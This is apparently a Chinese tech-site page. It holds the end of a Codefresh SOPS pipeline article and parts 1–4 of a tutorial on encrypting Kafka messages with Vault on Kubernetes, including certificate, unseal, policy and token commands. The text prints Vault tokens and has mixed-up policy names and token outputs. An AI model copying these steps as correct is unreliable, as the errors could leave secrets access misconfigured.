-----END PGP MESSAGE-----
fp: C70833A85193F72C2D72CB9DBC109AFC69E0185D
encrypted_regex: password
version: 3.5.0
您无法在本地运行应用程序,因为它需要在管道中运行才能使用我们的环境变量进行连接。
创建管道
该管道包含四个阶段:
- 克隆阶段
- 导入私钥/公钥对的阶段
- 解密凭证文件的阶段
- 打包 jar 并运行单元测试的阶段
Codefresh UI管道视图
首先,您需要为私钥添加一个管道变量PRIV_KEY。您可以在UI中导航到内嵌的YAML编辑器,然后在右侧找到Variables选项卡:
Pipeline Variables
这是整个管道:
codefresh.yaml
# More examples of Codefresh YAML can be found at
# https://codefresh.io/docs/docs/example-catalog/ci-examples/
version: "1.0"
# Stages can help you organize your steps in stages
stages:
- "clone"
- "import"
- "decrypt"
- "package"
steps:
clone:
title: "Cloning repository..."
type: "git-clone"
stage: "clone"
arguments:
repo: "codefresh-contrib/mozilla-sops-app"
revision: "master"
import_keys:
title: "Importing gpg keys..."
type: "freestyle"
stage: "import"
working_directory: '${{clone}}'
arguments:
image: "vladgh/gpg"
commands:
- gpg --import public.key
- echo -e "${{PRIV_KEY}}" > private.key
- gpg --allow-secret-key-import --import private.key
decrypt_password:
title: "Decrypting password..."
type: "freestyle"
working_directory: "${{clone}}"
stage: "decrypt"
arguments:
image: "mozilla/sops"
commands:
- cp -r /codefresh/volume/.gnupg /root/.gnupg
- cf_export password=$(sops --decrypt --extract '["password"]' credentials.yaml)
package_jar:
title: "Packaging jar and running unit tests..."
working_directory: ${{clone}}
stage: "package"
arguments:
image: "maven:3.5.2-jdk-8-alpine"
commands:
- mvn -Dmaven.repo.local=/codefresh/volume/m2_repository -Dserver.host=my-redis-db-host clean package
services:
composition:
my-redis-db-host:
image: 'redis:4-alpine'
command: 'redis-server --requirepass $password'
ports:
- 6379
此管道执行以下操作:
- 通过git克隆步骤克隆主存储库。
- 使用GPG映像并通过自由式步骤导入公钥和私钥对。
- 通过不同的自由式步骤解密凭据文件。在这一步中,SOPS在/root下查找.gnupg目录(存储密钥环的目录)。我们需要从Codefresh Volume中复制它,因为/root不保存在容器之间。
- 最后一步,package_jar,做了一些特别的事情需要注意:
- 在6379端口上启动一个运行Redis的Service Container,并使用导出的环境变量设置数据库的密码
- 设置maven.report.local将maven依赖项缓存到本地codefresh卷中,以加快构建速度
- 运行单元测试并打包jar。请注意,当我们设置server.host时,如何直接引用服务容器的名称(我的redis-db-host)
- 15 次浏览
【微服务安全】与 Spring Boot、Kafka、Vault 和 Kubernetes 通信——第 2 部分:设置 Kubernetes 和 Kafka
链接
- 第 1 部分:简介和架构
- 第 2 部分:设置 Kubernetes 和 Kafka <--本文
- 第 3 部分:设置保险柜
- 第 4 部分:构建微服务
- 第 5 部分:部署和测试
要求
目录结构
我们将使用的目录结构如下:
- $PROJECTS
- —|—DepositAccount
- —|—GatewayKafka
- —|—Transaction
- —|—Registry
- —|—k8s
- —|—kafkatools
软件
这些是入门所需的软件
- Java
- OpenSSL
设置 Kubernetes 和 Helm
- 在本教程中,我们将使用 Docker Desktop 及其 Kubernetes 引擎。
- 按照本教程 [安装 Docker 桌面] 中的步骤操作:https://github.com/azrulhasni/Ebanking-JHipster-Keycloak-Nginx-K8#insta…
- 同时安装 Helm https://github.com/azrulhasni/Ebanking-JHipster-Keycloak-Nginx-K8#insta…
设置Kafka
- 我们将在 Kubernetes 集群中运行 Kafka。我们将为此使用 Helm。
使用 Helm 安装 Kafka
- 首先,运行下面的两个命令行。这将使用 Helm 将 Kafka 安装到您的 Kubernetes 集群
> helm repo add bitnami https://charts.bitnami.com/bitnami > helm install kafka bitnami/kafka
- 完成后,您将收到以下消息:
NAME: kafka LAST DEPLOYED: Mon Sep 14 09:08:13 2020 NAMESPACE: default STATUS: deployed REVISION: 1 TEST SUITE: None NOTES: ** Please be patient while the chart is being deployed ** Kafka can be accessed by consumers via port 9092 on the following DNS name from within your cluster: kafka.default.svc.cluster.local Each Kafka broker can be accessed by producers via port 9092 on the following DNS name(s) from within your cluster: kafka-0.kafka-headless.default.svc.cluster.local:9092 To create a pod that you can use as a Kafka client run the following commands: kubectl run kafka-client --restart='Never' --image docker.io/bitnami/kafka:2.6.0-debian-10-r18 --namespace default --command -- sleep infinity kubectl exec --tty -i kafka-client --namespace default -- bash PRODUCER: kafka-console-producer.sh \ --broker-list kafka-0.kafka-headless.default.svc.cluster.local:9092 \ --topic test CONSUMER: kafka-console-consumer.sh \ --bootstrap-server kafka.default.svc.cluster.local:9092 \ --topic test \ --from-beginning
- 要仔细检查,请运行:
> kubectl get pods
- 你应该得到下面的结果。我们应该看到处于运行状态的 Kafka 和 ZooKeeper pod
在 Kubernetes 中暴露 Kafka 供我们管理
- Kafka 现在已成功运行。为了让我们管理它(例如创建新主题),我们需要将它暂时暴露给外界
- 运行以下命令。这会将 Kafka 暴露给 localhost 的 9092 端口。
> kubectl port-forward kafka-0 9092:9092
安装 Kafdrop
- Kafdrop 是 Kafka 的管理工具。我们可以用它来管理我们的 Kafka 集群
- 从 https://github.com/obsidiandynamics/kafdrop/releases 下载 jar 文件并将其放在 $PROJECTS/KafkaTools 文件夹中
- 运行以下命令。确保将 <version> 替换为您下载的 Kafdrop 版本号。请注意,属性 —kafka.brokerConnect 指向我们在上一段中公开的端口 (localhost:9092):
> java -jar kafdrop-<version>.jar --kafka.brokerConnect=localhost:9092
- 然后将浏览器指向 http://localhost:9000 。您应该看到以下页面:
- 导航到页面底部并找到主题部分。单击 (+) 按钮
- 您将获得下面的页面,您可以在其中创建主题。
- 创建 2 个主题:deposit-debit-response 和 deposit-debit-request
- 返回运行 port-forward 命令的命令行控制台,在其中按 Ctrl+C 以关闭该外部连接。或者,您可以关闭命令行控制台窗口。
- 恭喜!我们已经成功运行 Kafka 并在其中创建了 2 个主题。
- 33 次浏览
【微服务安全】使用 Spring Boot、Kafka、Vault 和 Kubernetes 保护微服务间通信——第 1 部分:简介和架构
链接
- 第 1 部分:简介和架构 <--本文
- 第 2 部分:设置 Kubernetes 和 Kafka
- 第 3 部分:设置保险柜
- 第 4 部分:构建微服务
- 第 5 部分:部署和测试
介绍
微服务是一种设计模式,其中大型单体应用程序被分离成更小、更易于管理的组件。这些组件可以协同工作来解决特定的业务问题。
为此,组件需要相互通信。组件之间的通信可以通过多种方式实现:RESTful Web 服务、SOAP Web 服务、RPC、消息传递等。消息传递(发布/订阅)的一种流行实现是 Kafka。
与大多数消息传递系统相比,Kafka 具有更好的吞吐量、内置的分区、复制和容错能力,这使其成为大规模消息处理应用程序的良好解决方案。
https://kafka.apache.org/
发布订阅
Kafka 遵循发布订阅模式。这种模式就像一个公告板。例如,如果爱丽丝在公告板上发布公告。鲍勃和查尔斯都能读懂它们。他们可以同时阅读,也可以一个接一个地阅读。 Bob 今天可以阅读黑板,Charles 可以在明天阅读。爱丽丝的公告将保留在公告板上,直到它的到期日期过去为止。
在消息传递系统中,我们会有发布者(Alice)和订阅者(Bob 和 Charles)。公告板称为主题,公告称为事件或消息。
如您所见,主题需要在规定的时间段内保留数据。因此,需要保护主题中的数据。不幸的是,Kafka(在撰写本文时)不处理端到端的数据加密。
这就是 Vault 的用武之地。
保险库
Vault 为我们提供加密服务。这使我们能够为我们的消息拥有和端到端的加密方案。
但为什么是保险柜?我们真的需要它吗?现在,当然,我们需要加密从发布者到订阅者的消息是私钥/公钥基础设施。创建这些密钥并将它们嵌入到发布者和订阅者服务中非常容易,如下所示:
问题是当我们有多个订阅者时,每个订阅者都有自己的一组私钥/公钥。当我们需要管理密钥的生命周期时,问题就会出现。例如,在到期时,两个密钥都需要更换。如果密钥是嵌入的,则可能需要重新部署。
另一个问题是何时需要临时撤销和替换密钥。使用嵌入式键没有简单的方法来做到这一点。
在不同服务具有不同密钥集的微服务环境中,这个问题变得更加夸张——例如下面的服务网格:
试图在仅有 4 个服务网格中管理或撤销密钥几乎是不可能的。
Vault 允许我们集中管理所有这些密钥:
此外,Vault 允许我们动态分配哪个服务可以访问哪个密钥。如果某项服务遭到破坏,一旦系统再次受到保护,密钥就很容易被撤销和恢复。
架构
我们的应用程序的架构如下所示。它支持使用 Vault 和 Kafka 的安全端到端通信(消息传递):
申请流程:
- 交易服务将启动从一个存款账户到另一个存款账户的资金转移。
- Transaction Message 由 Transaction 微服务创建并由 Vault 加密。
- 将加密的交易消息传递给请求主题
- 订阅者将消费消息并执行交易——将资金从一个账户转移到另一个账户。
- 然后,订阅者将通过响应主题将结果余额回复给事务服务
- 36 次浏览
【微服务安全】使用 Spring Boot、Kafka、Vault 和 Kubernetes 保护微服务间通信——第 3 部分:设置 Vault
- 第 1 部分:简介和架构
- 第 2 部分:设置 Kubernetes 和 Kafka
- 第 3 部分:设置 Vault <--本文
- 第 4 部分:构建微服务
- 第 5 部分:部署和测试
设置Vault
- 如果我们回想一下我们的架构,我们说过我们将提供端到端加密。虽然 Vault 将保护我们的信息,但谁在保护 Vault? - 为此,我们将使用经典的 TLS 连接 (HTTPS) 来保护我们与 Vault 的通信。我们将为此创建一个自签名证书。
使用 TLS 安装
- 以下步骤主要取自以下教程:https://www.vaultproject.io/docs/platform/k8s/helm/examples/standalone-…
- 在开始之前,让我们验证您是否拥有 OpenSSL。启动命令行控制台并运行以下命令
> openssl version
- 如果你有 openssl,你应该得到下面的响应(或类似的)。如果您没有 OpenSSL,请从此处 [https://www.openssl.org/] 下载并安装
LibreSSL 2.6.5
- 接下来,运行以下命令为我们的设置设置环境变量
> SERVICE=vault > NAMESPACE=default > SECRET_NAME=vault-server-tls > TMPDIR=/tmp
SERVICE:包含 Vault 的服务名称
NAMESPACE:运行 Vault 的 Kubernetes 命名空间
SECRET_NAME:包含 TLS 证书的 Kubernetes 密钥
TMPDIR:临时工作目录
- 然后,创建一个用于签名的密钥
> openssl genrsa -out ${TMPDIR}/vault.key 2048
- 我们现在将创建一个证书签名请求 (CSR)。首先,让我们创建一个 CSR 配置文件:
> cat <<EOF >${TMPDIR}/csr.conf [req] req_extensions = v3_req distinguished_name = req_distinguished_name [req_distinguished_name] [ v3_req ] basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment extendedKeyUsage = serverAuth subjectAltName = @alt_names [alt_names] DNS.1 = ${SERVICE} DNS.2 = ${SERVICE}.${NAMESPACE} DNS.3 = ${SERVICE}.${NAMESPACE}.svc DNS.4 = ${SERVICE}.${NAMESPACE}.svc.cluster.local IP.1 = 127.0.0.1 EOF
- 然后,我们将创建 CSR 文件本身
> openssl req -new -key ${TMPDIR}/vault.key -subj "/CN=${SERVICE}.${NAMESPACE}.svc" -out ${TMPDIR}/server.csr -config ${TMPDIR}/csr.conf
- 现在,我们将创建实际的证书。从命令行运行
> export CSR_NAME=vault-csr
- 然后我们将创建一个 csr.yaml 文件
> cat <<EOF >${TMPDIR}/csr.yaml apiVersion: certificates.k8s.io/v1beta1 kind: CertificateSigningRequest metadata: name: ${CSR_NAME} spec: groups: - system:authenticated request: $(cat ${TMPDIR}/server.csr | base64 | tr -d '\n') usages: - digital signature - key encipherment - server auth EOF
- 然后我们将在 Kubernetes 中创建一个证书签名请求
> kubectl create -f ${TMPDIR}/csr.yaml
- 要验证是否创建了证书签名请求,请运行以下命令。
> kubectl get csr ${CSR_NAME}
- 然后,批准 CSR。通过此命令,您已签署 CSR
> kubectl certificate approve ${CSR_NAME}
- 之后,将证书导出到名为 vault.crt 的文件中
> serverCert=$(kubectl get csr ${CSR_NAME} -o jsonpath='{.status.certificate}') > echo "${serverCert}" | openssl base64 -d -A -out ${TMPDIR}/vault.crt
- 同时导出 Kubernetes CA
> kubectl config view --raw --minify --flatten -o jsonpath='{.clusters[].cluster.certificate-authority-data}' | base64 -d > ${TMPDIR}/vault.ca
- 创建一个秘密存储上面创建的所有文件
> kubectl create secret generic ${SECRET_NAME} --namespace ${NAMESPACE} --from-file=vault.key=${TMPDIR}/vault.key --from-file=vault.crt=${TMPDIR}/vault.crt --from-file=vault.ca=${TMPDIR}/vault.ca
- 接下来,我们将在 $PROJECTS/k8s 文件夹中创建一个名为 custom-values.yaml 的文件。该文件的内容应为:
global: enabled: true tlsDisable: false server: extraEnvironmentVars: VAULT_CACERT: /vault/userconfig/vault-server-tls/vault.ca extraVolumes: - type: secret name: vault-server-tls standalone: enabled: true config: | listener "tcp" { address = "[::]:8200" cluster_address = "[::]:8201" tls_cert_file = "/vault/userconfig/vault-server-tls/vault.crt" tls_key_file = "/vault/userconfig/vault-server-tls/vault.key" tls_client_ca_file = "/vault/userconfig/vault-server-tls/vault.ca" } storage "file" { path = "/vault/data" }
- 然后,我们将使用 Helm 安装通过我们的自签名 SSL 保护的独立 Vault。将命令行控制台指向文件夹 $PROJECTS/k8s 并运行:
> helm repo add hashicorp https://helm.releases.hashicorp.com > helm install vault -f custom-values.yaml hashicorp/vault
- 要验证 Vault 是否正在运行,请运行以下命令:
> kubectl get pods
- 您应该在 pod 列表中看到 vault
保险库 Kubernetes 服务
- 运行以下命令以获取服务列表
> kubectl get svc
- 您应该看到下面的列表。Vault服务的名称是“Vault”。由于 Vault 在默认集群中运行,因此 Vault 服务(在 Kubernetes 内)的完全限定域名应该是 vault.default.svc。
初始化Vault
- 要初始化 Vault,我们需要运行以下命令:
> kubectl exec -ti vault-0 -- vault operator init -format=json > cluster-keys.json
- 这将创建一个包含 5 个键的 json 文件。 json 文件的内容可能如下所示:
{ "keys": [ "dea...94", "0c0...10", "800...29", "88e...1e", "5by...8z" ], "keys_base64": [ "...", "...", "...", "...", "..." ], "root_token": "s.Tyu...d" }
开封保险库
- 初始化 Vault 时,它以密封模式运行。我们需要解封它才能使 Vault 有用。
- 您还需要在每次重新启动时解封 Vault
- 在上面的步骤(Initialize Vault)中,我们创建了一个包含 5 个密钥的子文件。我们需要提供 3 个密钥来解封 Vault。要解封,请运行以下命令:
> kubectl exec -ti vault-0 -- vault operator unseal
- 此命令将提示输入密钥。键入其中一个键并按回车键。
- 您将得到以下结果:
Key Value --- ----- Seal Type shamir Initialized true Sealed false Total Shares 5 Threshold 3 Version 1.5.2 Cluster Name vault-cluster-e4b6a573 Cluster ID 80...b HA Enabled false
- 每次使用不同的键重新运行以上命令 2 次
- 祝贺。你有开封Vault。
暴露 Vault web ui
- 接下来,我们将使用他之前在 Kafka 中使用的 port-forward 命令将 Vault 暴露给 Kubernetes 之外的世界。请注意,使用 Vault,我们通过端口转发而不是 pod 公开服务。
> kubectl port-forward service/vault 8200:8200
创建中转(transit )引擎
- Vault Transit 引擎是 Vault 提供的一种加密即服务工具。我们将使用它来加密我们的消息。
- 将浏览器指向地址 https://localhost:8200(注意它是 https)。您可能会看到一个对话框,您需要在其中接受自签名证书。单击确定。
- 然后您将看到下面的页面。在 Token 字段中,键入刚才在初始化期间创建的 cluster-key.json 文件中的 root_token 值。
- 然后,点击启用新引擎
- 选择过境,然后点击下一步
- 然后,在 Path 字段中输入“transit”,然后单击 Enable Engine
- 您将获得您的秘密中列出的运输引擎
- 在中转页面上,单击“创建加密密钥”
- 在“创建加密密钥”页面中,在名称字段中输入 my-encryption-key,然后单击创建加密密钥
- 您将看到已创建加密密钥
- 祝贺。您创建了一个 Transit 引擎
管理访问权限和策略
- 单击菜单策略。然后单击“创建 ACL 策略”
- 在名称中,输入 my-encrypt-policy。在策略中放入下面的代码。这将允许此策略仅加密以下数据。完成后,单击“创建策略”:
path "transit/decrypt/my-encryption-key" { capabilities = [ "update" ] }
- 再次单击策略 > 创建 ACL 策略。在 Name 中输入“my-encrypy-policy”,在 Policy 中输入下面的代码。然后点击“创建策略”
path "transit/encrypt/my-encryption-key" { capabilities = [ "update" ] }
- 您现在应该设置 2 个策略:
- 然后启动你的命令行控制台并运行下面的 curl 命令。请注意,下面的值 s.Tyu…d 是从上面的文件 cluster-keys.json 获得的根令牌的值。我们创建的策略 my-encrypt-policy 的值也在下面指定。 (我们在 curl 命令上使用选项 -k 因为我们使用的证书是自签名的。没有 -k,curl 命令将抱怨我们的证书)
> curl --header "X-Vault-Token: s.Tyu...d" --request POST --data '{"policies": ["my-encrypt-policy"]}' -k https://localhost:8200/v1/auth/token/create
- 你应该得到下面的回应。请注意客户端令牌的 values.O1...k。让我们称之为加密令牌
{ "request_id":"d5b47829-53f0-a35e-4b7c-0e9d8f4f3cbc", "lease_id":"", "renewable":false, "lease_duration":0, "data":null, "wrap_info":null, "warnings":null, "auth":{ "client_token":"s.O1sI3QhVvSmbG1lyfKSMXXFk", "accessor":"T...8", "policies":[ "default", "my-encrypt-policy" ], "token_policies":[ "default", "my-encrypt-policy" ], "metadata":null, "lease_duration":2764800, "renewable":true, "entity_id":"", "token_type":"service", "orphan":false } }
- 让我们重复相同的 curl 命令,这一次,我们将使用 my-decrypt-policy 策略
curl --header "X-Vault-Token: s.WuTNTDpBqsspinc6dlDN0cbz" --request POST --data '{"policies": ["my-decrypt-policy"]}' -k https://localhost:8200/v1/auth/token/create
- 我们应该看到下面的结果。注意客户端令牌(s.7x…Xv)。我们将此令牌称为解密器令牌
{ "request_id":"d5b47829-53f0-a35e-4b7c-0e9d8f4f3cbc", "lease_id":"", "renewable":false, "lease_duration":0, "data":null, "wrap_info":null, "warnings":null, "auth":{ "client_token":"s.7xdIhRPcJXFw2B1s6fKasHXv", "accessor":"TSNoAMVNwFEUzlmx8tjRh9w8", "policies":[ "default", "my-encrypt-policy" ], "token_policies":[ "default", "my-encrypt-policy" ], "metadata":null, "lease_duration":2764800, "renewable":true, "entity_id":"", "token_type":"service", "orphan":false }
测试 Vault 的加密即服务
- 因此,让我们测试一下我们的设置。首先,我们需要一个 base-64 字符串。打开命令行控制台并运行以下命令。这会将字符串编码为 base-64。当然,您可以使用“Hello world”以外的其他语言。
> echo -n 'Hello world'|openssl base64
- 你会得到
SGVsbG8gd29ybGQ=
- 让我们使用加密器令牌加密该字符串。
> curl --header "X-Vault-Token: s.O1sI3QhVvSmbG1lyfKSMXXFk" --request POST --data '{"plaintext": "SGVsbG8gd29ybGQ="}' -k https://127.0.0.1:8200/v1/transit/encrypt/my-encryption-key
- 您将收到以下回复。加密数据在字段密文中。
{ "request_id":"c345db50-2517-90de-cc8c-f66812b27d6b", "lease_id":"", "renewable":false, "lease_duration":0, "data":{ "ciphertext":"vault:v1:+VZG+5sZA0AQworFh5+o/kTyri6I+ooKWjfwbVOtB+lY/AWRurhO", "key_version":1 }, "wrap_info":null, "warnings":null, }
- 现在,让我们尝试使用解密器令牌进行解密。请注意,字段密文包含上面的加密数据
curl --header "X-Vault-Token: s.7xdIhRPcJXFw2B1s6fKasHXv" --request POST --data '{"ciphertext":"vault:v1:+VZG+5sZA0AQworFh5+o/kTyri6I+ooKWjfwbVOtB+lY/AWRurhO"}' -k https://127.0.0.1:8200/v1/transit/decrypt/my-encryption-key
- 然后你会得到下面的回复。请注意,我们取回了我们之前加密的 base 64 字符串。
{ "request_id":"7d00a316-90ff-9c94-3e6f-d8e60b0560e3", "lease_id":"", "renewable":false, "lease_duration":0, "data":{ "plaintext":"SGVsbG8gd29ybGQ=" }, "wrap_info":null, "warnings":null, "auth":null }
- 现在,让我们尝试一个否定的测试用例。让我们尝试加密数据,但改用解密器令牌
> curl --header "X-Vault-Token: s.7xdIhRPcJXFw2B1s6fKasHXv" --request POST --data '{"plaintext": "SGVsbG8gd29ybGQ="}' -k https://127.0.0.1:8200/v1/transit/encrypt/my-encryption-key
- 您最终会遇到错误
{"errors":["1 error occurred:\n\t* permission denied\n\n"]}
- 您可以尝试相反,尝试使用加密令牌进行解密
> curl --header "X-Vault-Token: s.O1sI3QhVvSmbG1lyfKSMXXFk" --request POST --data '{"ciphertext":"vault:v1:+VZG+5sZA0AQworFh5+o/kTyri6I+ooKWjfwbVOtB+lY/AWRurhO"}' -k https://127.0.0.1:8200/v1/transit/decrypt/my-encryption-key
您最终将遇到与上述相同的错误
{"errors":["1 error occurred:\n\t* permission denied\n\n"]}
为加密和解密创建令牌
- 回想一下我们的架构,其中 Transaction Services 和 DepositAccount Service 都需要消费和发送消息。这意味着他们需要加密和解密功能。要创建具有这两个功能的令牌,只需指定两个策略:
curl --header "X-Vault-Token: s.WuTNTDpBqsspinc6dlDN0cbz" --request POST --data '{"policies": ["my-decrypt-policy", "my-encrypt-policy"]}' -k https://localhost:8200/v1/auth/token/create
- 您将收到以下回复。您可以使用“client_token”安全地登录到 Vault 以获得加密和解密功能:
{ "request_id": "a1f0fc87-5c27-94e3-b043-29adc5c87557", "lease_id": "", "renewable": false, "lease_duration": 0, "data": null, "wrap_info": null, "warnings": null, "auth": { "client_token": "s.WuTNTDpBqsspinc6dlDN0cbz", "accessor": "Qc...dU", "policies": [ "default", "my-decrypt-policy", "my-encrypt-policy" ], "token_policies": [ "default", "my-decrypt-policy", "my-encrypt-policy" ], "metadata": null, "lease_duration": 2764800, "renewable": true, "entity_id": "", "token_type": "service", "orphan": false } }
Vault的结论
我们终于在我们的 Kubernetes 集群中安装和设置了 Vault(独立设置)。我们已经激活了加密即服务引擎,并创建了两个具有两种不同功能的不同令牌。加密器令牌用于加密数据,解密器令牌用于解密数据。我们还使用令牌测试了引擎的 API,我们看到正面和负面的测试用例都通过了。最后,我们创建了一个用于加密和解密功能的令牌。
- 84 次浏览
【微服务安全】使用 Spring Boot、Kafka、Vault 和 Kubernetes 保护微服务间通信——第 4 部分:构建微服务
- 第 1 部分:简介和架构
- 第 2 部分:设置 Kubernetes 和 Kafka
- 第 3 部分:设置保险柜
- Part 4: 构建微服务 <--本文
- 第 5 部分:部署和测试
创建微服务
- 我们将创建 2 个微服务:Transaction 和 DepositAccount。我们将为此使用 JHipster。
- 首先,我们需要安装 JHipster。请按照此处的教程安装 JHipster [https://www.jhipster.tech/installation/]
准备信任库(truststore)
- 如果您从 Java 程序调用自签名受保护端点(例如本教程中的 Vault),则需要首先信任自签名证书
- 通常这是通过将自签名证书注册到 JVM 的信任库中来完成的。
- 我们将面临的问题是:当我们创建 docker 镜像并在其中运行我们的微服务时,我们不会使用我们机器的 JVM。我们将改为使用图像的 JVM。我们如何将我们的证书注册到镜像的 JVM 信任库中?
- 当我们进入本教程的部署部分时,我们将解决这个问题。同时,让我们将 Vault 的根证书注册到信任库中。请记住证书 TMPDIR/vault.crt。我们将使用此证书。
- 我们需要找到 JVM cacerts 在哪里。在 Mac 机器上,它位于文件夹中的某个位置:$(/usr/libexec/java_home)/lib/security.你可以参考这个关于堆栈溢出的讨论:https://stackoverflow.com/questions/11936685/how-to-obtain-the-location…
- 运行以下命令。当提示输入密码时,请指定插入符号密码。默认情况下是 changeit
> sudo keytool -import -file "/tmp/vault.crt" -keystore "$(/usr/libexec/java_home)/lib/security/cacerts" -alias "vault certificate"
- 您可能需要更改生产环境的 cacerts 密码
- 我们现在已经将 Vault 的证书注册为可信证书。
设置 JHipster 注册表
- 将 JHipster Registry https://www.jhipster.tech/jhipster-registry/ 下载为 jar 文件并放入 $PROJECTS/Registry 文件夹
- 创建另一个文件夹:$PROJECTS/Registry/central-config。在 central-config 中,创建一个名为 application.yml 的文件并在下面插入内容。请确保将 my-secret-key-which-should-be-changed-in-production-and-be-base64-encoded 替换为您自己的生产机密:
# =================================================================== # JHipster Sample Spring Cloud Config. # =================================================================== # Property used on app startup to check the config server status configserver: name: JHipster Registry config server status: Connected to the JHipster Registry config server! # Default JWT secret token (to be changed in production!) jhipster: security: authentication: jwt: # It is recommended to encrypt the secret key in Base64, using the `base64-secret` property. # For compabitibily issues with applications generated with older JHipster releases, # we use the non Base64-encoded `secret` property here. secret: my-secret-key-which-should-be-changed-in-production-and-be-base64-encoded # The `base64-secret` property is recommended if you use JHipster v5.3.0+ # (you can type `echo 'secret-key'|base64` on your command line) # base64-secret: bXktc2VjcmV0LWtleS13aGljaC1zaG91bGQtYmUtY2hhbmdlZC1pbi1wcm9kdWN0aW9uLWFuZC1iZS1iYXNlNjQtZW5jb2RlZAo= # Enable /management/logfile endpoint for all apps logging: path: /tmp file: ${spring.application.name}.log
- 您已成功设置 JHipster Registry
设置 API 网关
启动命令行控制台并将其指向 $PROJECTS/GatewayKafka 文件夹。跑:
> jhipster
将提出一系列问题。回答他们如下。请注意,当被问及您还想使用哪些其他技术?不要选择 Kafka。我们将单独处理 Kafka,而不是通过 JHipster:
? Which *type* of application would you like to create? Microservice gateway ? [Beta] Do you want to make it reactive with Spring WebFlux? No ? What is the base name of your application? GatewayKafka ? As you are running in a microservice architecture, on which port would like yo ur server to run? It should be unique to avoid port conflicts. 8080 ? What is your default Java package name? com.azrul.ebanking.gatewaykafka ? Which service discovery server do you want to use? JHipster Registry (uses Eur eka, provides Spring Cloud Config support and monitoring dashboards) ? Which *type* of authentication would you like to use? JWT authentication (stat eless, with a token) ? Which *type* of database would you like to use? SQL (H2, MySQL, MariaDB, Postg reSQL, Oracle, MSSQL) ? Which *production* database would you like to use? PostgreSQL ? Which *development* database would you like to use? H2 with disk-based persist ence ? Do you want to use the Spring cache abstraction? No - Warning, when using an S QL database, this will disable the Hibernate 2nd level cache! ? Do you want to use Hibernate 2nd level cache? No ? Would you like to use Maven or Gradle for building the backend? Maven ? Which other technologies would you like to use? ? Which *Framework* would you like to use for the client? Angular ? Would you like to use a Bootswatch theme (https://bootswatch.com/)? Default JH ipster ? Would you like to enable internationalization support? No ? Besides JUnit and Jest, which testing frameworks would you like to use? ? Would you like to install other generators from the JHipster Marketplace? (y/N ) No
- 您现在已成功设置 API 网关
设置交易微服务
启动命令行控制台并将其指向 $PROJECTS/Transaction 文件夹。跑:
> jhipster
将提出一系列问题。回答他们如下。请注意,当被问及您还想使用哪些其他技术时?不要选择卡夫卡。我们将单独处理 Kafka,而不是通过 JHipster:
? Which *type* of application would you like to create? Microservice application ? [Beta] Do you want to make it reactive with Spring WebFlux? No ? What is the base name of your application? Transaction ? As you are running in a microservice architecture, on which port would like yo ur server to run? It should be unique to avoid port conflicts. 8081 ? What is your default Java package name? com.azrul.ebanking.transaction ? Which service discovery server do you want to use? JHipster Registry (uses Eur eka, provides Spring Cloud Config support and monitoring dashboards) ? Which *type* of authentication would you like to use? JWT authentication (stat eless, with a token) ? Which *type* of database would you like to use? SQL (H2, MySQL, MariaDB, Postg reSQL, Oracle, MSSQL) ? Which *production* database would you like to use? PostgreSQL ? Which *development* database would you like to use? H2 with disk-based persist ence ? Do you want to use the Spring cache abstraction? No - Warning, when using an S QL database, this will disable the Hibernate 2nd level cache! ? Would you like to use Maven or Gradle for building the backend? Maven ? Which other technologies would you like to use? ? Would you like to enable internationalization support? No ? Besides JUnit and Jest, which testing frameworks would you like to use? ? Would you like to install other generators from the JHipster Marketplace? No
指定对 Kafka 和 Vault 的依赖关系
- 首先,让我们处理依赖关系。在文件 $PROJECTS/Transaction/pom.xml 中,在 <dependencies> </dependencies> 标记中添加以下依赖项。
<dependency> <groupId>org.springframework.kafka</groupId> <artifactId>spring-kafka</artifactId> <version>2.4.8.RELEASE</version> </dependency> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka-clients</artifactId> <version>2.4.1</version> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka_2.13</artifactId> <version>2.4.1</version> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-vault-config</artifactId> <version>2.2.5.RELEASE</version> </dependency>
- 在同一个 pom.xml 文件下,我们还需要在 <dependencyManagement><dependencies> ... </dependencies></dependencyManagement> 下添加一个条目
<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>Hoxton.RELEASE</version> <type>pom</type> <scope>import</scope> </dependency>
需要 spring-cloud-starter-vault-config 和 spring-cloud-dependencies 以允许 Vault 集成
编写事务微服务
- 让我们创建一种将数据从发布者传输到消费者并再次返回的方法。为此,我们在名为 com.azrul.ebanking.common.dto 的包中创建了一个“数据传输对象”(DTO)。这将是生产者和消费者的通用包。在那里,让我们按照下面的方式创建一个 Transaction 类。请注意,为了使 Transaction 类可序列化,它必须实现 Serializable 接口,必须有一个默认构造函数,toString 和 equals 方法:
- [完整来源:https://raw.githubusercontent.com/azrulhasni/Ebanking-JHipster-Kafka-Va…]
- 在 com.azrul.ebanking.transaction.config 包下创建一个名为 KafkaConfig 的配置类
- [完整来源:https://raw.githubusercontent.com/azrulhasni/Ebanking-JHipster-Kafka-Va…]
- Kafka配置
- Spring 使用 spring-kafka 库对 Kafka 提供了广泛的支持。这包括序列化器和反序列化器 - 这将使消息传递类型安全。另一方面,我们不会使用这些序列化器/反序列化器,因为我们将在消息到达我们自己的 Kafka 之前对其进行加密。我们将选择一个基本的字符串序列化器/反序列化器。
- 这是我们将用来连接到 Kafka 的 KafkaTemplate。请注意,我们使用的是一种特殊的 KafkaTemplate,称为 ReplyingKafkaTemplate。这个类将允许我们发送请求并获得响应,而无需我们自己做太多的管道
- 我们还需要一个配置文件。在 $PROJECTS/Transaction/src/main/resources/config 文件夹下,在 application.yml 文件中添加:
kafka: bootstrap-servers: kafka-headless.default.svc.cluster.local:9092 deposit-debit-request-topic: deposit-debit-request deposit-debit-response-topic: deposit-debit-response consumer: group.id: transaction auto.offset.reset: earliest producer:
- 在 $PROJECTS/Transaction/src/main/resources/config 文件夹下,在文件 bootstrap.yml 中,在 spring.cloud 下添加以下属性。
- 在方案中,确保我们把 https
- 在主机中,确保我们放置自己的 Vault Kubernetes 服务的完全限定域名。回想上面的 Vault Kubernetes Service 段落
- 在连接超时和读取超时中,设置一个合理的超时时间。我们放了一个大的进行测试。放一个小的(比如几秒钟)用于生产
- 在认证中,输入TOKEN,表示我们将通过安全令牌登录
- 在令牌中,确保您在之前的“为加密和解密创建令牌”段落中输入了 client_token 值。
